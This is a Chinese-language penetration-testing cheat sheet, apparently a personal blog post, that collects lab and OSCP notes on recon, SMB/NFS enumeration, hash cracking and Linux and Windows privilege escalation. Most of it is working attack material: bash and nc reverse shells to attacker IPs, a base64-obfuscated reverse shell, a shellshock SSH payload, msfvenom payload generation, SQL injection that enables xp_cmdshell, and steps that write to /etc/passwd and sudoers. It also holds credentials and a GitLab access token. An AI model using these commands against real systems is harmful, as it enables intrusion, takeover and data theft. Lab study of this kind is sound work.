1.cewl
详细教程:【工具使用】--- cewl_通地塔的博客-CSDN博客
引用其他师傅的博客
我的话只记录两条常用的
cewl http://192.168.15.146/ -w dict.txt #进行爬取该页面内容生成在当前文件夹生成字典
cewl http://192.168.15.146/ -n -e #爬取邮箱
2.netdiscover
网络扫描工具(kali-路由分析)
能够迅速的探测存活主机,如果单用nmap或者masscan扫全段,会很慢,这个探测出来之后在详细扫描会快一些。
netdiscover -i eth0 -r 192.168.1.0/24
3.gobuster
相比于dirb和御剑我觉得好一点的工具,dirb很强,但是太慢了,字典太大还会卡
我用的珍藏版御剑只能指定一些爆破目录,虽然可以自己修改他的原生字典,但是无法将后缀为.php/.html等等加在后面,也就是说字典什么样他就只能爆破什么样
gobuster dir -u http://192.168.1.7:33447 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -k -t 50 -u http://doctors.htb/
4.foremost
Kali Linux提供一款还原专用工具Foremost。该工具通过分析不同类型文件的头、尾和内部数据结构,同镜像文件的数据进行比对,以还原文件。
foremost strcpy.exe
5.sudo
sudo -l :提权方面先sudo -l 可以看到可以使用哪些用户的命令 然后对应执行
sudo -s :可以输入密码尝试临时获得高权限root账户
6.SUID提权
查找一些可以sudo的命令 在linux提权查找对应命令进行提权
find / -perm -u=s -type f 2>/dev/null
find / -group pinky 2>/dev/null #看一下当前某个工作组的可以执行文件 也可以找些东西
find / -user root -writable -type f -not -path "/proc/*" 2>/dev/null #查找长度权限为root但是可写的普通文件 并且不查找 /proc文件夹下的内容 并将错误信息不输出
find / -user root -writable -type d -not -path "/proc/*" 2>/dev/null #查找可写文件夹
find / -type f -perm 777 2>/dev/null
7.showmount
使用 showmount 来“显示 NFS 服务器的安装信息” 详情可以help
showmount -e 192.168.1.9
8.enum4linux
用于枚举windows和Linux系统上的SMB服务的工具 详情可以help
enum4linux 192.168.1.9
enum4linux -a -o 192.168.1.9
9.mount
和 showmount 一起使用 将目标的远程目录挂载到本地
showmount -e 10.10.10.180
mkdir ./nfsshare
mount -t nfs 192.168.1.9:2049/var/nfsshare ./nfsshare
nfs共享时 如果提示权限不足 解决方法一般都是上到目标主机 看一下当前目录有该权限的账户的id值 然后再本机创建该类型的用户 如下:
无法访问已安装的共享,可能是因为设置了 root_squash 标志。我们可以放心地假设,如果我们有一个名为 vulnix 且具有相同 UID 的用户,我们就能够访问它。
创建用户:
useradd -u "id" "username"
useradd -u 2008 vulnix
挂载: (上面有问题就用这个)
mount -t nfs 192.168.1.7:/home/vulnix ./vulnix -nolock
10.smbmap
快速扫描和检查 SMB(Server Message Block)共享的命令行工具
smbmap -H <目标IP/主机名> -u <用户名> -p <密码>
smbmap -H 192.168.1.9
smbmap -H 192.168.1.9 -r anonymous
smbmap -H 10.10.10.193 -u tlavel -p 'TfWScpg3aEEi' -r -q
11.smbclient
用于存取共享目标的客户端程序 --help可以查看详细命令
smbclient //192.168.1.9/secured -U divid
smbclient -N -L //10.10.10.134/
smbclient -N //10.10.10.134/Backups
smbclient -L //10.10.132.140 -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" --pw-nt-hash
recurse ON #开启递归,开启后会以目录递归方式运行mget和mput命令
prompt OFF #关闭交互,开启后,下载文件时不再要求输入y/n确认
mget * #批量获取文件,*是一个调配符,递归遍历时,任何文件名符合通配符的文件都会下载下来,*可以匹配所有
get xxxxx ;下载某个文件
put xxxxx ;上传某个文件
mget * ;下载当前目录下所有文件
tar c test.tar notes/ ; 打包notes目录下所有文件
12.steghide
隐写工具 --help 可以查看需要的详细命令
steghide info plainsight.jpg
steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss
13.ffuf
模糊测试工具 详情可以help或者找博客
ffuf -u -c http://192.168.1.9/test.php?FUZZ=/etc/passwd -w /usr/share/dirb/wordlists/common.txt
ffuf -u http://10.10.10.84/browse.php?file=FUZZ -w /usr/share/dirb/wordlists/common.txt -c -fs 300-400
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185
ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "HOST: FUZZ.sneakycorp.htb" -fs 185
14.修改文件提权
如果有sudo可以执行的root的文件,改成下面的格式可以直接提权
#!/bin/bash
bash -ip
15.knock
敲门收集了两种方法
类似于下图为敲门的配置
knock 192.168.1.5 33 44 55
nmap -Pn --host-timeout 201 --max-retries 0 -p 159 192.168.1.5
16.id_rsa 私钥爆破
今天打靶场遇到了这种情况,就去学习了
cd /usr/share/john
使用这个目录下的ssh2john.py文件进行转化格式
./ssh2john.py ~/id_rsa > ~/hash 将id_rsa转化为john可以识别的内容
开始爆破
john hash --wordlist=/usr/share/wordlists/rockyou.txt
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt ./temp_passwd #hash密码爆破指定md5 也就是1类型
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 1000 hashes.txt --show
# 查找对应的hash格式
hashcat --help | grep -i "Kerberos"
17.newgrp
newgrp命令是Linux系统中的一个用于切换用户组的命令。通过newgrp命令,用户可以暂时地切换到另一个用户组,以便在该用户组下执行命令或访问特定的文件
newgrp
18.文件上传构造环境
用于构造文件上传的环境,不用自己构建数据包,找到接口上传即可
<html>
<body>
<form method="post" action="http://192.168.1.5/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<input type="submit" value="send" />
</form>
</body>
</html>
curl http://192.168.225.249:33414/file-upload -F "file=@/home/kali/hackthebox/ft.txt" -v -X POST -H "Content-Type: multipart/form-data" -F filename="/tmp/authorized_keys"
19.chkrootkit(非常规提权)
详情:Chkrootkit 0.49本地提权漏洞利用与防范研究 - 知乎
找到 chkrootkit 目录,目录里面一般有README 看看版本
一般在 /etc/chkrootkit
或者用该命令更好
./chkrootkit -V 如果为0.49 即可按照上面的方法提权
具体流程如下
保存文件为 updata.c 下载到目标机器的 /tmp 文件夹下
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
gcc -o update update.c #进行编译
编译完成进入 chkrootkit 目录运行一下 chkrootkit ./chkrootkit
会发现 /tmp/update 变为了root的权限
回到 tmp 文件夹执行 ./updata 即可获得root权限
20.查看系统版本及内核
uname -r
cat /etc/*-release
lsb_release -a
21.脏牛Linux本地提权漏洞(CVE-2016-5195)
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679
影响版本如下:
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
22.Apport(Ubuntu 14.04/14.10/15.04)- 竞态条件提权漏洞
Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation - Linux local Exploit
没有想到过可以运行这个提权,因为这种类型的exp对我来说不是常见,也就认为不是很好用,但事实是他可以执行,所以就先记录一下。
23.hexchat(IRC)
ngIRCd的默认密码是' wealllikedebian '
24.smtp-user-enum
smtp用户枚举 详细使用教程可以看help
smtp-user-enum -M VRFY -U ./test.txt -t 192.168.1.10
25.shellshock
打靶场时遇到连接成功直接断开的问题,搜了很久没有找到能够在 "ssh连接时执行命令" 的漏洞教程,唯一一个教的是在连接时后面加上 "ls -al" 可以执行命令 但是没有用 后面看wp找到的该漏洞
bash - how can shellshock be exploited over SSH? - Unix & Linux Stack Exchange
'() { :;}; command' #在连接时后面加上这个即可 command 为要执行的命令
ssh -i noob noob@192.168.1.5 -o PubkeyAcceptedKeyTypes=ssh-rsa "() { :;}; bash -c 'exec bash -i >& /dev/tcp/192.168.1.8/1111 <&1'"
26.apache2.conf 提权
原理就是 将apache2.conf 里加上某个用户和组 重启apache之后配置文件会写入进去 提前在/var/www/html 目录里放上webshell 这样重启完成在点击webshell可以反弹出来添加进去的用户的权限
默认不让root启动 所以提权其他用户 前提是要有重启apache以及修改apache2.conf 的权限
#User ${APACHE_RUN_USER}
#Group ${APACHE_RUN_GROUP}
User test
Group test
/etc/apache2/sites-enabled 这个目录存在配置文件
27.netstat -tuln
查看端口占用情况 这个命令很简单没啥难度可言 但还是记录一下把
netstat -tuln
netstat -ano
28.dig
爆破子域 dig后面跟着域名 @后面跟上dns服务器即可
dig hackers.blackhat.local @192.168.2.177
dig @10.10.10.123 friendzoneportal.red AXFR
dnsenum fabricorp.local --dnsserver 10.10.10.193
这个命令会返回整个 DNS 区域的记录,包括所有的 A、AAAA、CNAME、MX 等记录,以及子域名的信息。
dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
29.python Capabilities cap_sys_ptrace+ep提权
命令: getcap -r / 2>/dev/null |grep python
回显: /usr/bin/python2.7 = cap_sys_ptrace+ep
教程地址:
https://www.cnblogs.com/zlgxzswjy/p/15185591.html
30. /etc/passwd 提权
当 /etc/passwd 可以写入时,可以加入一条用户,su切换即可
生成加盐密码 Password为修改的密码 salt为修改的盐
perl -le 'print crypt("Password","salt")'
写入 /etc/passwd su切换即可
echo "hack:ad7t5uIalqMws:0:0::/root:/bin/bash" >> /etc/passwd
31.计划任务提权
cat /etc/crontab
查看计划任务 找到关键点
# */5 * * * * root cd /var/www/html/ && sudo ./finally.sh
- 第1列:分钟(0-59)
- 第2列:小时(0-23)
- 第3列:一个月中的第几天(1-31)
- 第4列:月份(1-12)
- 第5列:一周中的第几天(0-7,其中0和7都代表星期日)
- 第6列:要执行命令的用户
- 第7列:要执行的命令
表示每5分钟时,以root用户身份进入/var/www/html/
目录,并以sudo权限运行finally.sh
脚本
计划任务某个执行文件具有root权限,而普通用户可以更改该执行文件时
1. chmod u+s /bin/bash
chmod u+s /bin/bash
/bin/bash -p # 即可提权到 root 用户组
或者
cp /bin/bash /var/www/html/suidbash
chmod u+s /var/www/html/suidbash
suidbash -p #即可提权到 root 用户组
2. sudo -l
echo 'www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh' >> /etc/sudoers
将当前账户的 sudo 执行权限写入 sudoers 文件里,在给可执行文件加上 u+s 权限
最后sudo 执行该文件即可提权 如下:
chmod u+s finally.sh
echo 'www-data ALL=(ALL) NOPASSWD: /var/www/html/finally.sh' >> /etc/sudoers
sudo -l
Matching Defaults entries for www-data on sar:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on sar:
(ALL) NOPASSWD: /var/www/html/finally.sh
echo 'su root' >> finally.sh
sudo /var/www/html/finally.sh
32.Bypass命令注入限制
echo "YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMi43NS85OTk5IDwmMSc=" | base64 -d | bash
echo 解码执行
33.uncompyle6 pyc逆向
逆向pyc只用如下
uncompyle6 1.pyc > 1.py
在线pyc,pyo,python,py文件反编译,目前支持python1.5到3.6版本的反编译-在线工具
34.反弹shell
bash -c 'exec bash -i >& /dev/tcp/192.168.2.75/9999 <&1'
python -c 'import pty; pty.spawn("/bin/bash")'
nc -e /bin/bash 192.168.31.17 7777
35.john
echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' >>/tmp/1
john /tmp/1 --wordlist=/usr/share/wordlists/rockyou.txt
zip:
zip2john passwd.zip > passwd.hash
john passwd.hash
john passwd.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --pot=new.pot hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
36.进程发现 pspy
Release No more waiting on drain · DominicBreuker/pspy · GitHub
上传运行即可 查看进程情况 后续进行提权
37.字典
目录爆破字典
/usr/share/wordlists/src/dirbuster/directory-list-2.3-big.txt
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
https://www.cnblogs.com/shenlinken/p/10176682.html 可以对字典进行操控 去重倒序都可以
sort -u duweixin.net.txt #去重
sort -r duweixin.net.txt #倒序
# 这个非常强大
feroxbuster --url http://
https://rivers.chaitin.cn/blog/cqnmojp0lnec5jjug96g
38.smtp
常见命令
命令行 作用
helo smtp 和服务器打招呼,测试登陆进去没
auth login 登陆具体邮箱,用户名和密码是经过base64加密的
mail from 输入邮件的发送方
rcpt to 输入邮件的接收方
data 开始编写邮件
quit 退出
# 与服务器打招呼
HELO mail.relia.com
# 开始登录
AUTH LOGIN
# 输入 base64 编码的用户名 (maildmz@relia.com)
bWFpbGRtekByZWxpYS5jb20=
# 输入 base64 编码的密码 (DPuBT9tGCBrTbR)
RFB1QlQ5dEdjQnJUYlI=
MAIL FROM:<maildmz@relia.com>
RCPT TO:<接收方邮箱>
DATA
Subject: 测试邮件
这是邮件内容
. # 单独一行的点表示邮件内容结束
swaks --to jim@relia.com \
--from maildmz@relia.com \
--server 192.168.183.189 \
--auth LOGIN \
--auth-user maildmz@relia.com \
--auth-password DPuBT9tGCBrTbR \
--header "Subject: Test Email Subject" \
--body "This is the email body content.\nMultiple lines can be included.\n" \
--attach file.txt \
--attach-type "text/plain" \
--attach-name "custom_filename.txt"
# 附件记得加@
swaks -to jim@relia.com --from maildmz@relia.com -ap --attach @configuration.Library-ms --server 192.168.183.189 --auth LOGIN --auth-user maildmz@relia.com --auth-password DPuBT9tGCBrTbR --body "This is the email body content.\nMultiple lines can be included.\n" --header "Subject: Urgent Configuration Setup" --suppress-data
下面记录一个严重的问题 就是携带附件的时候 携带不了
# 创建邮件格式
cat > email.txt << 'EOL'
From: maildmz@relia.com
To: jim@relia.com
Subject: Urgent Configuration Setup
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=boundary
--boundary
Content-Type: text/plain
This is the email body content.
--boundary
Content-Type: application/ms-library
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="configuration.Library-ms"
EOL
# 发的文件需要base64编码 放在下面
base64 configuration.Library-ms >> email.txt
# 结尾
echo "
--boundary--" >> email.txt
至此 请求包
swaks -to jim@relia.com \
--from maildmz@relia.com \
--auth LOGIN \
--auth-user maildmz@relia.com \
--auth-password DPuBT9tGCBrTbR \
--server 192.168.183.189 \
--data "$(cat email.txt)"
常见的反馈代码
代码 含义
220 smtp已处于在线状态,可以进行相关操作
221 关闭smtp服务
250 当前操作已经正确完成
334 等待输入,在登陆用户是出现
235 验证成功
535 验证失败
39.pop3
pop3协议
pop3默认端口为110。pop3协议有两个阶段:
认证阶段
用户端输入用户名、密码进行认证,服务器端返回OK或者ERR
事务阶段
可以对邮件基本操作。
常用命令
命令 作用
user 输入用户名
pass 输入密码
list 列出消息数量,并且自动编号
retr 根据消息编号检索消息
dele 删除消息
quit 退出
40.nmap
nmap -p- --min-rate 10000 10.10.10.51
--script vuln
find /usr/share/nmap/scripts -name '*wordpress*'
nmap -T4 -Pn -sC --script http-wordpress-enum --script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit="all",http-wordpress-enum.check-latest="true" -p80 tartarsauce.htb
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.193
https://nmap.org/nsedoc/scripts/http-wordpress-enum.html
https://nosec.org/home/detail/2844.html #收集插件
# 探测存活
nmap -sn 172.16.131.0/24
# 初步扫描探测
nmap -Pn -p 21,22,23,80,443,445,3389 172.16.131.0/24
41.masscan
masscan -p 1-65535 10.10.10.58 --rate=100
42.nc
服务端
cat aa.txt | nc -l -p 10000
nc -l -p 10000 < aa.txt
客户端
nc -n 192.168.1.100 10000 > aa.txt
|
43.wpscan
wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 50 #全面扫插件
44.sudo
sudo -u 可以指定某个用户 来使用它的sudo提升权限的应用
45.locate
locate backuper
类似于find 但比它方便
46.bash
/bin/bash bash -p #可以获取当前权限的新shell 有时候要写脚本可以用这个 比如suid
#include <unistd.h>
void main() {
execl("/bin/bash", "bash", "-p", NULL);
}
47.gcc
#版本兼容问题 用static即可 有些主机是32位的 加上m32即可
gcc -static -m32 -o 1 1.c
48.irc
irc是一个聊天软件 启动用hexchat就行 配置其他的比较简单
49.ssh配置文件
https://blog.csdn.net/qq_41765918/article/details/126837789
1.公钥名字
在互信机器上面公钥的名字是authorized_keys,有多台机器请写多行,名字是根据/etc/ssh/sshd_config配置文件的AuthorizedKeysFile 参数确定的默认是authorized_keys
2.公钥路径
查看/etc/ssh/sshd_config配置文件,找到AuthorizedKeysFile .ssh/authorized_keys参数,如图
如果取消了注释,那么authorized_keys文件放置对应目录,如果没有取消注释,文件在~/.ssh/下面
3.权限
目录结构:~/.ssh/authorized_keys
authorized_keys文件权限600,.ssh目录权限700 ,~目录目录权限755
#禁用root账户登录,如果是用root用户登录请开启
PermitRootLogin yes
# 是否让 sshd 去检查用户家目录或相关档案的权限数据,
# 这是为了担心使用者将某些重要档案的权限设错,可能会导致一些问题所致。
# 例如使用者的 ~.ssh/ 权限设错时,某些特殊情况下会不许用户登入
StrictModes no
# 是否允许用户自行使用成对的密钥系统进行登入行为,仅针对 version 2。
# 至于自制的公钥数据就放置于用户家目录下的 .ssh/authorized_keys 内
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
# 有了证书登录了,就禁用密码登录。
PasswordAuthentication no
50.多开shell
setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
nohup setsid bash -c 'exec bash -i >& /dev/tcp/10.10.16.14/9999 <&1' > output.log 2>&1 &
51.缓冲区溢出(简述)
info registers #崩溃信息
disassemble #后面加参数 disassemble main 查看这个函数的汇编代码
ldd #查找动态链接库
ldd rop | grep libc #rop为具体程序
readelf #查找函数偏移量
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system" #查找system函数的偏移量
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" #查找/bin/sh字符串地址
break *0x80484f8 #break打断点
x/20x $esp #查看栈上的数据
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
Dump of assembler code for function vuln:
0x080484f8 <+0>: push %ebp #将调用的栈帧基址压入栈中
0x080484f9 <+1>: mov %esp,%ebp #改变ebp为当前栈顶
0x080484fb <+3>: sub $0x38,%esp #减少栈指针56个字节 分配出来
0x080484fe <+6>: sub $0x8,%esp #减少栈指针8个字节 分配出来
0x08048501 <+9>: push 0x8(%ebp) #从取出传递的参数8个字节压入栈中
0x08048504 <+12>: lea -0x30(%ebp),%eax #ebp减去48个字节 将地址给eax
0x08048507 <+15>: push %eax #将eax压入栈中
0x08048508 <+16>: call 0x8048350 <strcpy@plt> #调用strcpy函数
0x0804850d <+21>: add $0x10,%esp
0x08048510 <+24>: sub $0xc,%esp
0x08048513 <+27>: push $0x80485dd
0x08048518 <+32>: call 0x8048340 <printf@plt>
0x0804851d <+37>: add $0x10,%esp
0x08048520 <+40>: sub $0xc,%esp
0x08048523 <+43>: lea -0x30(%ebp),%eax
0x08048526 <+46>: push %eax
0x08048527 <+47>: call 0x8048340 <printf@plt>
0x0804852c <+52>: add $0x10,%esp
0x0804852f <+55>: nop
0x08048530 <+56>: leave
0x08048531 <+57>: ret
52.windows 切换用户
runas /user:administrator cmd.exe
psexec -u app -p password powershell
$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred
# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"
53.msfvenom
在windows下 反弹shell貌似变得有点麻烦 他不像linux非常方便的将shell弹回来
此时需要各种各样的msfvenom的反弹shell的脚本 这里用作记录
非msf的弹shell脚本 nc监听即可
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o shell.exe LHOST=10.10.16.3 LPORT=6666
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334
aspx
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.3 LPORT=3333 -f aspx x> ./back.aspx
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=6666 -f raw > shell.jsp
dll
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll
asp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.29 LPORT=6666 -f asp x> ./back.asp
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.16.14 LPORT=6666 -f raw > shell.php
payloads作为-l的参数列出所有 payloads
此外,我们使用 --platform指定 payload 的平台,使用--arch 指定体系结构
msfvenom -l payloads --platform windows --arch x64
54.windows常规提权
一、烂土豆提权
https://github.com/k4sth4/Juicy-Potato/blob/main/x64/jp.exe
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md #找到对应版本的CLSID
https://www.cnblogs.com/J0o1ey/p/15714555.html 详细教程
- 查看RPC默认端口是否为135 如果被修改(例如为111) juicypotato的参数可以使用-n 111指定RPC端口
- 查看当前用户权限,是否符合要求 whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权。
echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.14 5555 > shell.bat
.\jp.exe -t t -p .\shell.bat -l 1118 -c "{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}"
二、
55.impacket参数
smbserver.py kali . -smb2support #启动smb2协议
python smbpasswd.py tlavel@10.10.10.193
56.RPC枚举
rpcclient -U "" -N 10.10.10.248
rpcclient -U "tlavel%9VwzPigFmknx" -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.10.193
rpcclient -U "oscp.exam/celia.almeda%e728ecbadfb02f51ce8eed753f3ff3fd" -N -c 'enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit' 10.10.132.140
# 查看所有用户
enumdomusers
# 查看所有组
enumlsgroups
# 查询某个用户属于哪个组
queryusergroups
queryusergroups 0x46c
# IT组就可以去改密码
# 如果权限错误是可以改密码的
setuserinfo christopher.lewis 23 'Admin!23'
setuserinfo2 christopher.lewis 23 'Admin!23'
setuserinfo3 christopher.lewis 23 'Admin!23'
这个可以通过winrm连
57.windows download
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe
curl http://10.10.16.2:33333/frp/frpc.exe -o .\frpc.exe
certutil -urlcache -split -f http://10.10.16.2:33333/Fuse/shell.exe C:\test\shell.exe
58.git
git-dumper http://192.168.165.144/.git/ output_dir
# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main
git show #查看所有提交
添加所有更改:
git add . # 添加当前目录下所有更改
git add -A # 添加所有更改,包括删除的文件
添加特定文件:
git add file1.txt file2.txt # 添加多个指定文件
git add *.txt # 添加所有.txt文件
提交时也有类似选择:
git commit -m "message" # 提交所有已经add的文件
git commit file1.txt -m "message" # 提交特定文件
git commit -am "message" # 自动add并提交所有已追踪的更改文件
正常提交
git add .
git commit -m "test"
git push
私有token验证
git remote set-url origin https://oauth2:glpat-PzrxBe-5Js7c3t7hoq4X@10.20.174.14/your-group/your-project.git
git remote set-url origin http://oauth2:glpat-PzrxBe-5Js7c3t7hoq4X@10.20.174.14/skylark-rd/scratchpad
https://juejin.cn/post/7021023267028729887
59.ExifTool(元数据分析)
ExifTool 1.pdf
ExifTool -a -u 1.pdf
60.同步时钟(时间)
https://gitlab.com/NTPsec/ntpsec/-/issues/292
https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found
ntpdate -u htb.local && date
ntpdate -u htb.local -6 && date
ntpdate -u htb.local -4 && date
rpcclient -U "" -N htb.local
rpcdump> gettime
net time -S htb.local
rdate -n htb.local
#同步
date -s "Sat Dec 7 05:14:11 2024"
date
61.windows读取 Microsoft Defender 排除列表
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
62.OSCP笔记-信息收集
whois是在43端口开放的
whois 38.100.193.70 -h 192.168.50.251
whois megacorpone.com -h 192.168.50.251
whois megacorpone.com -h 192.168.131.251
google 利用google爬虫做信息收集
# 筛选txt为后缀的文件
site:megacorpone.com filetype:txt
# 去除后缀为htlm的文件
site:megacorpone.com -filetype:html
# 上面只是冰山一角 下面的可以查到很多信息
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/
site:megacorpone.com intext:VP Of Legal
host
host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
host www.megacorpone.com
host idontexist.megacorpone.com
cat list.txt
www
ftp
mail
owa
proxy
router
for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"
dns爆破
使用-d选项指定域名 使用-t指定要执行的枚举类型(在本例中为标准扫描)
dnsrecon -d megacorpone.com -t std
暴力破解尝试
-d 选项指定域名
-D指定包含潜在子域字符串的文件名
-t指定要执行的枚举类型
brt表示暴力破解
dnsrecon -d megacorpone.com -D ~/list.txt -t brt
dnsenum megacorpone.com
nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151
netcat
-w选项指定连接超时(以秒为单位)
-z指定零 I/O 模式 该模式用于扫描且不发送任何数据。
-u udp扫描
-nv 详细模式
-nvv 更详细模式
nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123
端口扫描
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null
63.MSSQL注入
https://y4er.com/posts/mssql-injection-learn
https://y4er.com/posts/mssql-getshell/
https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
# 恢复xp_cmdshell
;EXEC sp_configure 'show advanced options',1;//允许修改高级参数
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
RECONFIGURE;--
# 测试xp_cmdshell是否开启 盲注
'; IF OBJECT_ID('xp_cmdshell') IS NOT NULL WAITFOR DELAY '0:0:5'; --
'; exec master..xp_cmdshell 'whoami'; WAITFOR DELAY '0:0:5'; --
'; IF (SELECT value_in_use FROM sys.configurations WHERE name = 'xp_cmdshell') = 1 WAITFOR DELAY '0:0:5'; --
'; IF EXISTS (SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1) WAITFOR DELAY '0:0:5'; --
# 测试文件是否存在 存在延时五秒
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @@ERROR = 0 WAITFOR DELAY '0:0:5'; --
# 下面这个也是测试文件是否存在 但是好用
'; DECLARE @result int; EXEC @result = xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs'; IF @result = 0 WAITFOR DELAY '0:0:5'; --
'; EXEC xp_cmdshell 'dir c:\inetpub\wwwroot\login.cs && ping -n 6 127.0.0.1'; --
# 执行shell
'; exec master..xp_cmdshell ' curl http://192.168.45.161:33333/2.txt -o C:\ProgramData\2.txt '; --
提示:确认xp_cmdshell存在的时候 不一定非要去写文件 他是一个CMD
能执行很多命令的 比如curl下载文件再执行 在我看来写文件反而是个不好的决定
mssql语句
sqsh -S 192.168.131.248:49965 -U dnnuser -P DotNetNukeDatabasePassword!
python /usr/share/doc/python3-impacket/examples/mssqlclient.py Administrator:Lab123@192.168.164.18 -windows-auth
-- 列出所有数据库
SELECT name FROM master.sys.databases
GO
-- 切换数据库
USE databasename
GO
-- 列出当前数据库所有表
SELECT name FROM sysobjects WHERE xtype = 'U'
GO
-- 查看某个表的内容
SELECT * FROM tablename
GO
powershell连接mssql
$sql = "Server=10.10.132.142;Database=master;Integrated Security=True;"
$conn = New-Object System.Data.SqlClient.SqlConnection($sql)
$conn.Open()
参考 https://blog.csdn.net/kk185800961/article/details/52513640
执行sql语句下面一条就行 不行的话去上面查
$cmd.CommandText = "SELECT name FROM master.dbo.sysdatabases"; $reader = $cmd.ExecuteReader(); while($reader.Read()){Write-Host $reader[0]}; $reader.Close()
# 启用 xp_cmdshell
$cmd.CommandText = "sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE"; $cmd.ExecuteScalar()
# 执行系统命令
$cmd.CommandText = "EXEC xp_cmdshell 'whoami'"; $cmd.ExecuteScalar()
# 当前用户
$cmd.CommandText = "SELECT SYSTEM_USER"; $cmd.ExecuteScalar()
# 当前用户是否是 sysadmin
$cmd.CommandText = "SELECT IS_SRVROLEMEMBER('sysadmin')"; $cmd.ExecuteScalar()
# 当前用户的数据库权限
$cmd.CommandText = "SELECT permission_name FROM sys.database_permissions WHERE grantee_principal_id = DATABASE_PRINCIPAL_ID()"; $cmd.ExecuteScalar()
# 服务器级别权限
